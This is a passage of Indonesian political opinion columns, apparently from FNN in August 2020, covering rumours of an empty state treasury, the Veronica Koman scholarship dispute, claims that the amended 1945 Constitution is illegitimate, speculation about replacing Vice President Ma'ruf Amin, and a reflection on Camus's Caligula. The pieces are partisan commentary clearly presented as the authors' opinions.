menerima pembayaran kontrak pengadaan. Ini semua bisa dijadikan isyarat tentang dana Covid yang hanya ada angka tapi tak ada uangnya. Dalam arti, cukup signifikan dana APBN/APBD yang diduga telah digunakan untuk penanganan Covid-19. Mengapa dikerahkan dana reguler APBN/APBD itu jika dana Covid ada? Mungkinkah ini menyebabkan kas negara kosong untuk keperluan harian? Belum lama ini, Presiden Jokowi marah karena Kemenkes lambat sekali menyerap dana Covid-19 yang jumlahnya 75 triliun rupiah. Berbagai sumber menyebutkan, yang terjadi bukan lambat menyerap melainkan duitnya tidak tersedia. Benarkah begitu? Inilah yang ingin diketahui rakyat. Selanjutnya, isu kas negara kosong. Di pertengahan 2019, pernah juga ada kabar bahwa kas negara dalam keadaan kosong. Tapi, Menkeu Sri Mulyani langsung menegaskan hal itu tidak benar. Kata Sri, masih ada uang 90 triliun. Cukup untuk membayar tiga bulan gaji PNS. Di akhir 2014, sebulan setelah dilantik untuk periode pertama, ada juga kabar bahwa kas negara kosong. Namun, kekosongan kas waktu itu tentu tidak dapat dikaitkan langsung dengan kepresidenan Jokowi. Karena baru saja dilantik. Nah, pada saat ini kalau benar kas negara kosong, maka persoalan itu menjadi murni tanggung jawab penuh Presiden Jokowi. Tidak terkait dengan pemerintahan sebelum 2014. Publik sangat wajar bertanya tentang benar-tidaknya kas negara saat ini dalam keadaan kosong. Masalah ini tidak boleh ditutup-tutupi. Publik berhak mengetahui kondisi yang sebenarnya. Sebab, kabar yang sifatnya spekulatif perlu dicegah agar tidak menjadi perdebatan liar. Semoga ada penjelasan yang komprehensif dan kredibel.[] (Penulis wartawan senior)

Kesalahan Negara Minta Veronica Koman Kembalikan Uang

“…Mungkin aktivis Hak Azasi Manusia (HAM) yang dapat beasiswa LPDP, yang Bicara HAM Papua, dan orang Papua yang sudah dapat beasiswa LPDP harus mengembalikan uang beasiswa yang diberikan LPDP…” by Marthen Goo Jakarta FNN – Kamis (13/08). Indonesia katanya punya Pancasila. Juga punya konstitusi berupa UUD45. Bahkan disitu ada yang namanya kemanusiaan dan hak asasi manusia. Dalam tiap hak warga negara, wajib hukumnya dilindungi dan itu juga dikenal dalam teori dasar kemanusiaan. Karenanya, dalam situasi apapun, namanya hak hidup setiap manusia wajib hukumnya dilindungi (pasal 28A). Fakta di Indonesia, nyawa orang Papua terlalu gampang dihilangkan hanya dengan timah panas. Bahkan ketika rakyat harus aksi, ruang demokrasinya pun ditutup, tentu itu ironi, karena kita terlalu berlebihan mengaku negara demokrasi, tapi faktanya berbeda. Kita hanya lebih suka terlena dalam kata-kata manis yang berbeda jauh dari faktanya. Di saat seperti begitu, Gereja-gereja di Indonesia diam seribu bahasa, sementara umat Tuhan sedang mengalami masalah serius. Indonesia punya lembaga hak asasi manusia yang diberi nama Komnas HAM. Tentunya Komnas HAM di Indonesia adalah lembaga pasif. Artinya lembaga Komnas HAM hanya diam menunggu laporan yang masuk. Tanpa laporan, Komnas HAM tidak bisa melakukan kerja-kerja kemanusiaan. Tentu saja ini sangat ironis. Apalagi Papua yang jauh, dimana setiap saat kejahatan terhadap kemanusiaan selalu terjadi. Tetapi tidak terdengar suara Komnas HAM. Mungkin juga karena laporan yang belum juga masuk. Berharap Komnas bersuara untuk Veronika. Di Indonesia ada juga yang namanya Lembaga Perlindungan Ibu dan Anak, mungkin kerja mereka sama seperti Komnas HAM, sehingga bekerja hanya berdasarkan Laporan. Pada hal, kasus Nduga, banyak anak dan ibu jadi korban, tapi faktanya Lembaga tersebut belum juga bicara, mungkin juga tidak ada data dan laporan. Berharap terhadap kasus Veronika, lembaga ini bisa bersuara dari prespektif HAM. Jika semua diam, agama yang ditugaskan Tuhan untuk menjaga dan melindungi umat-Nya saja diam, lembaga HAM pun diam, maka, hak hidup orang Papua di Indonesia akan menjadi ancaman serius. Terkesan semua lembaga hanya tunduk pada oknum yang tidak memiliki prespektif Ham dalam kelolah negara, bukan tunduk pada kemanusiaan dan Tuhan. Terhadap kasus Veronica tersebut, dapat diduga bahwa ada indikasi pelanggaran HAM yang dilakukan oleh negara. Atas dugaan tersebut, diharapkan Komnas HAM dan Komnas Perempuan segera melakukan penyelidikan terhadap upaya diskriminasi tersebut. Veronica telah melakukan tanggungjawab kerja agama, tanggungjawab kerja lembaga HAM, dan tanggungjawab bernegara Veronica adalah perempuan yang hebat dan sangat luar biasa. Dia berani ambil tanggungjawab lembaga Ham di Indonesia dan selalu bersuara tentang Hak Asasi Manusia. Tidak hanya itu, perlindungan dan penyelamatan umat manusia di dunia itu juga sesungguhnya kerja agama apapun, namun ketika semua diam dan bisu, Veronica mengambil beban kerja mereka dengan terus bersuara lantang soal kemanusiaan dan penyelamatan umat Tuhan. Negara berkewajiban melindungi dan menyelamatkan warga negara, namun faktanya, di Papua justru kejahatan Hak Asasi Manusia dilakukan oleh negara. Dalam teori HAM, pelaku pelanggar HAM atau aktor pelanggar HAM selalu “state actor”. Sehingga aktor utama pelanggar HAM adalah negara. Padahal, baik Pancasila maupun konstitusi negara dengan tegas mengatakan bahwa “negara wajib melindungi warga negaranya”. Ketika negara tidak melaksanakan fungsinya dengan sebenarnya, Veronica Koman menggantikan fungsi negara dan berusaha membawa negara pada koridor yang benar. Semangat membangun negara bertujuan untuk melindungi segenap warga negara dan mensejahterakan seluruh warga negara. Tujuan utama didirikan negara sangat jelas yakni melindungi segenap rakyat. Hal itu tidak dilakukan negara, tetapi tugas negara malah dilakukan Veronica Koman. Veronica adalah perempuan yang hebat dan berani. Dia melakukan perbuatan penyelamatan umat manusia dan mengambil alih pekerjaan lembaga kemanusiaan dan lembaga agama bahkan lembaga yang besar yakni negara. Andai saya Presiden, saya akan memberikan penghargaan kepada Veronica Koman. Saya akan pecat orang-orang yang meminta mengembalikan uang kepada Veronica Koman. Andai saya jadi Presiden, saya akan berikan penghargaan kepada Veronica Koman karena telah mengajari seluruh kaum elit di Indonesia tentang pentingnya penghormatan pada HAM. Veronica juga terbukti melakukan kerja negara dalam melindungi segenap warga negara. Veronica pun telah berusaha mengembalikan fungsi utama negara pada koridornya. Selain itu, Veronica sesungguhnya adalah tokoh kemanusiaan yang telah mencerminkan Pancasila dan UUD45 dengan semangat melindungi dan menyelamatkan umat manusia. Dengan adanya segelintir orang yang meminta Veronica Koman mengembalikan uang, sesungguhnya telah: (1) mencoreng nama negara dan bertentangan dengan semangat HAM dan bertentangan dengan Pancasila dan UUD45; (2) Telah menunjukan ke dunia bahwa negara sesungguhnya anti HAM, sementara negara telah meratifikasi DuHam dan merumuskannya dalam UU No. 26 Tahun 2000; (3) memberikan kesan pada masyarakat dunia bahwa sesungguhnya ada hal yang didutup di Papua dan tekersan ada niat buruk terhadap Papua. Menurut tokoh nasional termuda, Natalius Pigai, “Veronica Koman itu human rights defender. Biaya LPDP itu kewajiban negara (state obligation). Veronica Koman adalah WNI yang memiliki hak asasi (rights holder)”. Pak Natalius juga menambahkan “ketika pembela HAM dikriminalisasi di luar negara maka karena itu prinsip safe haven in exile. Tidak perlu mengembalikan atau ganti uang kepada negara. Dulu tahun 1965 banyak orang atau kader PKI diberi beasiswa untuk belajar ke Rusia dan Eropa Timur, tetapi negara tidak pernah minta balikan uang. Tindakan itu memalukan wibawa negara”. Dari referensi Pak Natalius di atas, menggambarkan bahwa adanya oknum-oknum orang yang mengelola negara belum memahami perbedaan konteks secara baik dan benar. Bahkan berusaha mempolitisir aspek HAM. Sementara, semangat konstitusi adalah semangat HAM, dan hal itu juga didasari pada lahirnya reformasi 1998. Karenanya, terhadap mereka yang mulai ungkit hal-hal itu dapat diduga hanya sebagai niatan untuk mengkriminalisasi Veronica Koman. Juga upaya untuk membuat Veronica Koman tidak bicara soal HAM yang terjadi di Papua. Dapat diduga bahwa ada upaya melakukan tiga hal prinsip di atas. Padahal, HAM itu jelas dalam sistim konstitusi juga. Setiap orang berhak melindungi HAM, termasuk negara. Veronica Koman sesungguhnya adalah pahlawan HAM di era saat ini. Wajib diberikan penghargaan yang sangat besar, dan terhadap mereka yang berusaha mengkriminalisasi Veronica, wajib diperiksa karena turut mencederai HAM dan turut mencoreng nama negara. HAM bukan lagi hanya dijadikan slogan, tapi wajib diwujudkan dalam kehidupan berbangsa, karena itu universal. Andai saya Presiden, setiap warga negara, saya akan lindungi hak asasinya. Mereka yang mencederai HAM, akan saya perintah untuk diproses hukum agar setiap warga merasa nyaman dan merasa damai sebagai warga negara. Apakah semua aktivis HAM harus mengembalikan uang LPDP? Veronica itu aktivis HAM. Dia selalu bicara kebenaran tentang kejahatan kemanusiaan yang terjadi di Papua. Veronica mengungkapkan kebenaran yang berusaha ditutupi oleh orang-orang anti kemanusiaan. Masa kepada Veronica dimintai pengembalian uang dari LPDP ? Apakah ini lelucon yang dipertontonkan? Kalau demikian, apakah setiap aktivis HAM yang mendapatkan beasiswa LPDP dan bicara soal HAM di Papua wajib mengembalikan dana-dana tersebut? Orang Papua yang dapat LPDP itu berpotensi bicara soal HAM, karena menyangkut kehidupan, keselamatan dan keberlangsungan hidup orang Papua. Apakah mereka wajib mengembalikan beasiswa dari LPDP ? Barangkali LPDP harus pakai syarat, yang syaratnya adalah: (1) kalau mau dapat beasiswa LPDP, wajib tidak bicara HAM Papua; (2) orang Papua dilarang dapat beasiswa LPDP. Barang kali ini biar jadi sejarah baru yang mau dibuat di Indonesia. Akhirnya, hentikan upaya kriminalisasi Veronica Koman dengan cara apapun, karena upaya kriminalisasi adalah pekerjaan yang tidak terpuji dan merusak tatanan bangsa apalagi dari aspek kemanusiaan. Veronica adalah pejuang kemanusiaan. Veronica selalu bicara fakta dan data. Jiwanya yang besar tentang kemanusiaan wajib didukung dan dihormati serta diberi apresiasi oleh setiap orang yang memiliki jiwa kemanusiaan dan nurani kemanusiaan, apalagi atas nama agama dan pancasila. Orang yang tidak punya prespektif HAM baiknya jangan jadi pemimpin negara, karena rakyat akan jadi korban terus menerus atas setiap kebijakan yang dilakukan. ganti oknum-oknum yang tidak memiliki prespektif kemanusiaan demi perlindungan rakyat. Penulis adalah Aktivis Kemanusiaan Asal Papua.

UUD 45 10 Agustus 2002 Beda Dengan UUD 18 Agustus 45

by Mayjen TNI (Purn) Prijanto “Bismillaahirrohmaanirrohiim. Petisi tolak UUD ‘45 palsu. Tanggal 10 Agustus 2002, delapan belas tahun yang lalu, di tempat ini telah terjadi kudeta konstitusi, sehingga melahirkan UUD ‘45 palsu. Kami yang tergabung dalam Gerakan Alumni Mahasiswa 77/78 dari tempat yang sama mengajak seluruh rakyat Indonesia bersatu dalam usaha menolak UUD ‘45 palsu. Tertanda eksponen Gema 77/78. Jakarta 10 Agustus 2020”. (Gema 77/78, DPR RI, 10 Agustus 2020). Jakarta FNN – Kamis (13/08). Selain Gerakan Mahasiswa 77/78, penolakan juga terjadi di Pengadilan Negeri Jakpus oleh emak-emak, dengan spanduk “Tolak UUD 1945 Palsu”. Mengapa di PN Jakpus ? Pasalnya, sedang berproses gugatan dari LBH Solidaritas Indonesia, atas nama dr. Zulkifli S. Ekomei terhadap amandemen UUD ’45. Pada 10 Agustus 2020, Patriot Proklamasi menggelar Webinar, pembicara utama dr. Zulkifli S. Ekomei. Secara umum sepakat amandemen UUD ’45 bukanlah UUD ’45 yang disahkan 18 Agustus 1945. Saat ini, banyak pakar dan tokoh berpendapat sama. Kita bisa melakukan argumentasi dan perbandingan seperti di bawah ini. Pertama. Adanya argumentasi, amandemen UUD 1945 berdasarkan Pasal 37 UUD 1945. Padahal, Mr. Soepomo menjawab usul Iwa Koesoema Soemantri pada sidang PPKI, 18 Agustus 1945, bahwa Bab XVI Perubahan Undang Undang Dasar Pasal 37, hanya untuk penyempurnaan yang bersifat tehnis. (Sekneg RI, 1998, Risalah Sidang BPUPKI – PPKI, halaman 546). Pakar Hukum Tata Negara Maria Farida mengatakan sesungguhnya Indonesia sudah membuat konstitusi baru. Sedang Jimly Asshiddiqie juga mengakui, UUD 1945 setelah empat kali amandemen mengalami perubahan sampai 300 persen. (Yop Pandie, Polemik Cabut Mandat SBY, halaman 132). Dengan demikian, argumentasi menggunakan Pasal 37 UUD 1945 tidaklah benar. Sebab, bukan perubahan tehnis, tetapi sudah mengganti UUD 1945. Kedua. Penetapan Perubahan Keempat UUD 1945, oleh Ketua MPR RI Prof. Dr. H.M. Amien Rais dengan Wakil Ketua Prof. Dr. Ir. Ginandjar Kartasasmita, Ir. Sutjipto, K.H. Cholil Bisri, Drs. H.M. Husnie Thamrin, Agus Widjojo, Prof. Dr. Jusuf Amir Feisal, S.PD, Drs. H.A. Nazri Adlani, antara lain berbunyi : (a) “Undang Undang Dasar Negara Republik Indonesia Tahun 1945 sebagaimana telah diubah dengan perubahan pertama, kedua, ketiga dan perubahan keempat ini adalah Undang Undang Dasar Negara Republik Indonesia Tahun 1945 yang ditetapkan pada tanggal 18 Agustus 1945 dan diberlakukan kembali dengan dekrit Presiden pada tanggal 5 Juli 1959 serta dikukuhkan secara aklamasi pada tanggal 22 Juli 1959 oleh Dewan Perwakilan Rakyat”. Benarkah hasil amandemen adalah UUD 1945, 18/8/1945? Penetapan tersebut perlu diuji dengan cara membandingkan. Agar mudah, untuk selanjutnya, hasil amandemen kita sebut UUD 2002. Ketiga. UUD 1945 terdiri atas Pembukaan, Batang Tubuh dan Penjelasan. Sedangkan UUD 2002 terdiri atas Pembukaan dan pasal-pasal. UUD 2002 tidak ada penjelasan. Padahal, ‘penjelasan’ sangatlah penting untuk mengetahui nilai-nilai, cita-cita dan tujuan didirikannya Indonesia Merdeka, yang dirumuskan “The founding fathers and mothers”. Keempat. UUD 1945 memiliki Bab IV tentang Dewan Pertimbangan Agung (DPA). Sedangkan UUD 2002, tidak memiliki Bab IV. Bab III lompat ke Bab V. Postur semacam ini tidak lazim. Skripsi saja, jika ada Bab yang terlewat pasti tidak diterima. DPA dalam ketatanegaraan sangatlah penting untuk menjawab pertanyaan Presiden dan usul kepada pemerintah dalam bernegara. DPA berisi tokoh yang kredibel, bukan tim sukses urusan pembangunan citra dan pemenangan Pilpres. Kelima. UUD 1945 Pasal 6 (1) : Presiden adalah orang Indonesia asli. Sedangkan UUD 2002, calon Presiden dan Wakil Presiden harus seorang warga negara Indonesia sejak kelahirannya. Nilai-nilai dan suasana kebatinan ketika Pasal 6 (1) UUD 1945 disusun sangatlah berbeda dengan Pasal 6 UUD 2002. ‘The founding fathers and mothers’ menyusun atas dasar perjuangan, peran dan posisi kaum boemipoetra dalam merebut kemerdekaan, dan prediksi jauh ke depan, untuk memertahankan NKRI. Karena itulah Presiden adalah orang Indonesia asli. Video Dr. J. Sahetapy dihadapan komunitas etnis dan agama tertentu dengan bangganya mengaku dirinyalah satu-satunya orang yang mengusulkan kata ‘asli’ dihapus. Artinya, tanpa kajian akademis, bukan usul dari Fraksi dan patut diduga memiliki tujuan tertentu, agar warga negara dari etnis dan agama tertentu bisa menjadi Presiden. Keenam. Pidato Bung Karno di Sidang Umum PBB tahun 1960 memperkenalkan Sila ke-4 Pancasila sebagai ‘Demokrasi Indonesia’. Nilai-nilai Pancasila ditransformasikan dalam demokrasi ala Indonesia dalam Pasal 1 ayat (2), Pasal 2 ayat (1) dan Pasal 6 (2) UUD 1945. Sedangkan dalam UUD 2002, Demokrasi ala Indonesia tersebut berubah total. MPR bukan Lembaga Tinggi Negara yang tertinggi. MPR bukan lagi penjelmaan rakyat Indonesia. Utusan Golongan dan Utusan Daerah tidak ditemui di MPR. Calon Presiden dan Wapres hanya Parpol yang bisa mengusulkan. Kedaulatan rakyat ditangan rakyat hanya selama menit di bilik coblosan. Selebihnya kedaulatan sudah berpindah memnadi milik Parpol. Ketujuh. Secara umum, banyak pakar dan tokoh menilai pasal-pasal dalam UUD 2002 tidak koheren dengan nilai-nilai Pancasila. Berbeda dengan pasal-pasal dalam UUD 1945, yang hakikatnya penjabaran dari nilai-nilai Pancasila yang ada di Pembukaan UUD 1945. Ibaratnya tidak perlu menguji di Laboratorium Forensik Polri. Menggunakan nalar akademis yang dibatasi dinding-dinding kejujuran dan kepentingan bangsa dan negara, perbandingan di atas menunjukan, UUD 1945 (10/8/2002) tidak identik dengan UUD 1945 (18/8/1945). Bahasa populernya UUD ‘palsu’. Dengan menggunakan ilmu kriminalistik, melalui Laboratorium Kriminal akan bisa ditentukan apakah obyek itu asli atau palsu. Lalu bagaimana dengan dokumen Undang-Undang Dasar? Dimana bisa diuji? Sebab saat ini sebagian rakyat mengatakan hasil amandemen UUD 1945 bukanlah UUD 1945 alias “palsu” dan sudah masuk gugatan di Pengadilan Negeri Jakpus. Penulis adalah Wagub DKI Jakarta 2007-2012 dab Rumah Kebangkitan Indonesia.

Ma'ruf Amin Bisa Lakukan Counter Attack!

by Tony Rosyid Jakarta FNN – Kamis (13/08). Ma'ruf Amin, selain seorang ulama kharismatik, dia juga seorang politisi kawakan. Malang melintang di dunia politik. Lama berkiprah sebagai politisi PPP, dan menjadi anggota DPRD DKI tahun 1977. Ketika PKB lahir, Ma'ruf Amin pindah, dan ikut membesarkan PKB. Malah menjadi salah satu anggota DPR terpilih dari PKB tahun 1999. Kiprahnya di dunia politik cukup matang. Bahkan makomnya sudah sangat tinggi. Politisi kelas Ma’ruf Amin ini kalau di Ilmu Ma’rifat, sudah tingkatan wali besar bidang politik. Banyak orang yang menganggap enteng makom Ma’ruf Amin di politik. Hanya melihat sosok Ma'ruf Amin sebagai ulama saja, terutama perannya sebagai Rais Am PBNU dan Ketua MUI. Jauh sebelum menjadi Kiyai top, Ma'ruf Amin telah lama menempa dirinya di dunia politik. Sebagai kader PPP dan kemudian membesarkan PKB, cukup menjadi bekal Ma'ruf Amin mengasah pengalaman politiknya. Bahkan di tahun 1970-an sampai awal 1990-an, Ma’ruf Amin punya suluran komunikasi politik yang cukup lancar dan baik dengan tokoh-tokoh penting di eranya Orde Baru. Salah satunya mantan Ketua Majelis Ulama Indonesia (MUI) KH. M. Amidhan. Sangat keliru, bahkan beliru besar jika ada pihak-pihak yang mengecilkan kemampuan dan isnting berpolitik Ma'ruf Amin. Kiyai yang satu ini punya insting politik yang luar biasa tajam. Terbukti, ia berhasil menyingkirkan dominasi Mahfuz MD dari posisi cawapres Jokowi di last minute hanya dalam hitungan jam sebelum deklarasikan oleh gabungan Partai Potilik koalisi pendung Jokowi. Jokowi yang semula meminta Mahfuz MD untuk menjadi cawapresnya, mendadak batal! Padahal, jas yang sedianya akan dipakai saat deklarasi capres-cawapres sudah dikirim oleh itana kepada Mahfuz. Ternyata nggak jadi dipakai Mahfuz MD. Yang deklarasi hari itu justru Jokowi-Ma'ruf Amin. Sakitnya sih disini. Tapi, belakangan posisi menkopolhukam setidaknya telah mengobati Mahfuz. Tidak saja Mahfuz MD, Muhaimin Iskandar (Cak Imin) yang jauh-jauh hari sudah pasang iklan cawapres dimana-mana, tersingkir juga. Ternyata, menjadi ketua umum PKB tak cukup mampu untuk melawan Ma'ruf Amin. Begitu juga dengan KH. Said Aqil Siroj. Ketua PBNU ini juga tak dipilih Jokowi untuk mendampinginya di pilpres 2019. Dan cerita ini dibongkar semua detil-detilnya oleh Mahfuz MD dalam dialognya di televisi swasta. Pokoknya jangan main-main deh dengan Ma'ruf Amin. Terpilihnya Ma'ruf Amin sebagai cawapres saat itu adalah bukti kalau kepiawaian sang kiyai memainkan peran dan irama politiknya sangat dahsyat dan luar biasa. Kalai ini sebagai takdir, itu pasti. Tapi Tuhan tentu selalu menghitung ikhtiar hamba-Nya. Nah, soal ikhtiar inilah yang dikapotalisasi dengan matang oleh tingginya makon politik Ma’ruf Amin. Sampai hari ini, tak ada celah konstitusional untuk Ma'ruf Amin dilengserkan. Itu pasti. Pintunya Cuma satu, Ma’tuf Amin maun mundur secara sukarela. Kalau Ma'ruf nggak mau mundur? Maka, dipastikan tak ada pergantian wapres sampai 2024. Disinilah, Ma'ruf Amin akan melihat siapa-siapa saja yang sekarang mengincar posisinya. Pasti ia tak akan tinggal diam. Desas desus (kabar-kabur), soal pergantian Ma'ruf Amin di tengah jalan sudah didesign menjelang Pilpres 2019 lalu. Bahkan isunya sudah ada kesepakatan antara Ma'ruf Amin dengan pihak yang memberi rekomendasi. Emang ada buktinya? Seandainya kesepakatan itu ada, toh dalam politik, semua perjanjian tak berlaku. Bisa saja meleset dalam perjalanan. Perjanjian Batu Tulis antara Prabowo-Megawati adalah salah satu contohnya paling yahud. Juga perjanjian (konon tertulis) antara Prabowo-PKS terkait komposisi capres-cawapres di pilpres 2019 lalu. Prabowo Calon Presiden, Calon Wakil Presiden dari PKS Bahkan janji Prabowo terkait Wagub DKI dari PKS sebagai pengganti Sandi pun tak berlaku. Janji politik, memang beda dengan janji-janji yang lain. Tingkat melesetnya lebih tinggi. Bahkan bohongnya juga sangat tinggi. Salah sendiri anda mau percaya. Kebohongan berjama'ah terjadi terutama saat pileg, pilkada dan pilpres. Pemilu adalah pasar untuk obral janji kebohongan itu. Bagaimana jika Jokowi juga mendukung pergantian Ma'ruf Amin? Ingat, Ma'ruf Amin memang lebih sepuh. Namun soal pengalaman mengelola irama politik, belum tentu Jokowi lebih matang. Kalau adu kuat? Ma'ruf bisa mengkapitalisasi NU dan umat Islam untuk melakukan perlawanan. Bisa-bisa, bukan Ma'ruf yang diganti, tapi Jokowi yang akan dilengserkan. Bisa saja terjadi counter attack! Saat Jokowi lengser, Ma'ruf Amin yang menjadi presiden. Presiden kedua dari NU. Ini akan mennjadi sejarah. Jika 23 Juli 2001 Gus Dur (NU) diganti Megawati (PDIP), maka tak ada yang bisa menjamin Jokowi (PDIP) tidak lengser dan diganti oleh Ma'ruf Amin (NU). Hari esok, tak seorang pun yang tahu bagaimana takdir itu meneteskan tintanya. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Tolong Jangan Buat Stress Kiyai Ma’ruf Amin

by Asyari Usman Jakarta FNN, Rabu (12 Agustus 2020). Dalam beberapa hari ini bermunculan berbagai teori tentang kemungkinan Wapres Ma’ruf Amin mundur atau dimundurkan dari jabatan wakil presiden. Beliau disebut-sebut akan digantikan oleh salah seorang pejabat tinggi. Bisa jadi Menhan Prabowo Subianto atau mungkin pula Budi Gunawan –kepala BIN. Jadi, Pak Kiyai sedang menghadapi tekanan politik dan psikologis yang sangat berat. Termasuk, misalnya, beliau itu dikatakan sudah tua, sudah uzur, dsb. Menyakitkan sekali. Bukankah Pak Kiyai Ma’ruf itu pilihan terbaik Jokowi, yang berarti juga pilihan Anda semua? Kenapa sekarang diremehkan. Saya khawatir pengunduran diri Kiyai Ma’ruf dari jabatan wakil presiden, kalau itu terjadi, bukan karena tekanan politik. Melainkan gara-gara stress akibat berbagai “teori ganti wapres” yang beredar luas di masyarakat. Teori-teori itu ada yang menyebutkan Pak Kiyai akan dipaksa mundur. Atau, bisa jadi ada deal supaya beliau mundur secara sukarela. Pak Kiyai diseut-sebut akan mengajukan pengunduran diri tanpa paksaan, dsb. Diteorikan pula bahwa Jokowi lebih suka dan lebih berat ke Prabowo sebagai pengganti. Dengan alasan dia mantan tentara. Bisa diandalkan kalau terjadi gejolak sosial karena situasi ekonomi yang morat-marit saat ini. Teori lain menyebutkan, kelompok Megawati akan mendukung Budi Gunawan. Macam-macam. Intinya, Ma’ruf Amin ‘hampir pasi akan diganti’. Kasihan sekali Pak Kiayai. Beliau dianggap tidak ada apa-apanya. Dikatakan tidak punya kekuatan politik. Tidak pula didukung struktur NU. Dan tidak punya basis massa. Artinya, kalau ada yang menginginkan beliau mundur, mau tak mau Pak Kiyai harus ikut saja. Tak bisa berbuat apa-apa. Sungguh menyedihkan. Padahal, secara konstitusional, tidak mudah untuk memundurkan seorang wapres. Harus ada sidang MPR. Kecuali beliau mundur sukarela. Dengan alasan kesehatan atau alasan lain. Tapi, apa iya Kiyai Ma’ruf akan menerima saja dibegitukan? Tampaknya, tidak. Selemah-lemahnya posisi seorang pejabat negara yang ‘berkedudukan sah-konstitusional’, tidaklah mungkin dia akan menerima begitu saja perlakuan yang kasar terhadap dirinya. Pastilah dia akan menunjukkan perlawanan. Meskipun perlawanan yang tak berarti. Perlawanan yang sia-sia. Tapi ingat! Pak Ma’ruf Amin itu seorang kiyai. Sesepele apa pun orang menganggapnya, Pak Ma’ruf masih bisa berdoa. Kalau dia merasa dizolimi, hati-hatilah. Doa orang yang dizolimi, biasanya, mustajab. Kalau sekiranya skenario penggantian Kiyai Ma’ruf disusun oleh orang-orang Pak Jokowi, berarti doa si terzolim dengan sendirinya terarah ke sana. Kalau disusun oleh kelompok Bu Megawati, maka doa kezoliman akan otomatis mencari sasarannya. Jika yang menyusun Pak Luhut, maka Pak Menkolah yang akan menjadi subjek doa alias pihak yang terdoa. Yang lebih ngeri lagi ialah kalau Pak Ma’ruf dilanda stress akibat teori-teori mundur atau dimundurkan itu. Makin berat stress beliau, semakin muluslah doa penzoliman itu untuk diterima. Meskipun dulu Pak Kiyai pernah tidak jujur (saya tak menggunakan kata ‘berbohong’) soal mobil Esemka. Dan juga pernah mengatakan bahwa anak-anak PAUD terpapar radikalisme. Kelihatannya, lebih baik Anda tidak membesar-besarkan isu mundur atau pemunduran Kiyai Ma’ruf. Sebab, sedikit-banyak ada unsur pengerdilan terhadap beliau. Walaupun sejak menjadi capwapres sampai sekarang ini banyak hal-hal yang mengherankan yang beliau katakan dan lakukan. Satu pesan penting untuk Anda: janganlah katakan Pak Ma’ruf itu sudah tua, uzur, sepuh, atau sebutan lain. Keliru itu. Lihatlah semangat kerja beliau. Lihatlah semangat politik Pak Ma’ruf. Beliau masih bergairah untuk membangun dinasti. Beliau mendorong anaknya maju di pilkada Tangerang Selatan. Kurang apa lagi Pak Ma’ruf itu di mata kalian? Jadi, tolonglah hentikan bahasan Wapres akan mundur atau dimundurkan. Janganlah buat stress Pak Ma’ruf Amin.[] (Penulis wartawan senior)

Caligula (Bag. 2-Habis)

by Zainal Bintang Jakarta FNN – Selasa (11/08). Manakala disimak lebih cermat pesan yang terekspresikan di dalam pementasan teater “Caligula”, yang mengungkap adanya penyalahgunaan kekuasaan yang ditutupi secara terus menerus. Itulah yang mau dikatakan sang pengarang Albert Camus. Maka “Caligula” menjadi media pengungkap secara verbal tentang bagaimana seorang penguasa mengunakan semua cara untuk melanggengkan kekuasaannya. Membangun citra diri sebagai pemegang kendali tertinggi di negerinya. “Caligula” mempertontonkan bagaimana perilaku seseorang yang berada di puncak kekuasaan, hendak melakukan banyak hal sekaligus. Menginginkan perintahnya dipatuhi . Menghendaki recananya tidak dihalangi. Mengesankan dirinya orang kuat. Melalui semua signal simbolik itu sesungguhnya yang terlihat tapi tersembunyi adalah “menutupi semua kelemahannya”. Walaupun malah mencuat keseombongan dan kesewenang-wenangan, yang berjarak sisa satu senti dari sifat otoriter. “Tidak, Caligula tidak mati. Dia ada disana dan selalu disana. Dia ada di dalam dirimu masing-masing. Jika kekuasaan diberikan kepadamu….” kata Camus. Watak seorang penguasa otoriter seperti “Caligula” tiap saat dijumpai dari masa ke masa. Otoriterianisme itu memang sebuah keniscayaan yang melekat di dalam jiwa dan sanubari seseorang yang bernama manusia. Itu sebabnya sebaris sajak Mohammad Iqbal, sastrawan dunia asal Pakistan Mohammad Iqbal (1877-1938) menjadi penting dibaca ulang , “jika kekuasaan kotor, puisi membersihkannya”. Disamping diperlukannya koridor undang-undang dan ketatanegaraan. Ketika sejumlah pejabat penting Istana mengingatkan kepada “Caligula”, tentang telah banyak kebijakan yang diambilnya tidak sejalan dengan nalar. Caligila dengan enteng tapi pasti menjawab, “kuulangi lagi-karena itulah, sekarang aku menjelajah apa yang dianggap orang tidak mungkin. Atau lebih baik kukatakan begini. Akus sedang berusaha memungkinkan yang tidak mungkin”. Menanggapi reaksi orang dekatnya di Istana yang meragukan keberhasilan beberapa rencananya yang dinilai tidak masuk akal, “Caligula bergeming. Dia merasa kekuasaan yang diperolehnya sebagai kaisar bersifat mutlak. Dia menganggapnya itu adalah sebuah mandat mutlak yang mensejajarkan dirinya sama dengan “Tuhan” atau Dewa. “Aku sangsi apakah penemuan ini akan dapat membuat kita bahagia?” kata salah seorang pejabat Istana memberi tanggapan atas apa yang direncanakannya.” Caligula” dengan dingin menjawab, “aku pun begitu. Tapi kukira kita harus menjalaninya”. Tanpa perlu pendapat lebih jauh dengan kerabatnya itu, “Caligula” dengan suara lantang mengatakan, “Dan aku telah memutuskan untuk merubahnya. Aku akan memberikan sesuatu yang besar kepada zaman ini. Sama rata. Dan kalau semuanya telah disamaratakan, yang mustahil telah turun ke bumi dan bulan telah ada dalam tanganku. Barangkali aku akan berubah bersama dunia. Manusia tidak akan lagi mengenal mati, dan berbahagialah selalu”. Semenjak sembuh dari serangan penyakit aneh, “Caligula’ seperti di kejar-kejar oleh suatu kehendak yang sepertinya harus mutlak didapatkannya. Yakni ingin mendapatkan bulan! Suatu malam, ketika dia kembali ke Istananya, setelah bepergiannya tanpa diketahui di tempat-tempat mana saja dia bersitirahat. Ketika menghilang selama tiga hari, dia tiba-tiba histeria dan berucap, "Aku inginkan bulan". Kata-kata mustahil itu terlontar begitu di hadapan pejabat penting. Intinya “Caligula” menghendaki bulan harus tergenggam olehnya. “Dan cinta? Apa kau akan mengingkari cinta?” ucap perempuan yang menjadi salah seorang isterinya yang setia mendampinginya. “Caligula” marah dan meledak , “Cinta? Aku sudah tahu apa yang disebut cinta-omong kosong! Pengawal tadi benar. Bahwa yang maha penting cuma perbendaharaan. Puncak dari segalanya. Dan kini aku mau hidup, hidup yang sebenarnya. Dan hidup, sayang, adalah lawan dari cinta. Aku tahu apa yang kukatakan. Aku undang kau untuk menghadiri sebuah pertunjukan yang paling indah, suatu kejadian besar”. Nafsu materialistik telah mengangkangi jiwa “Caligula”, seiring dengan adanya perubahan kejiwaan setelah sakit. Pandangannya yang materialistik membuatnya semakin tidak perduli dengan komunikasi antar hati. 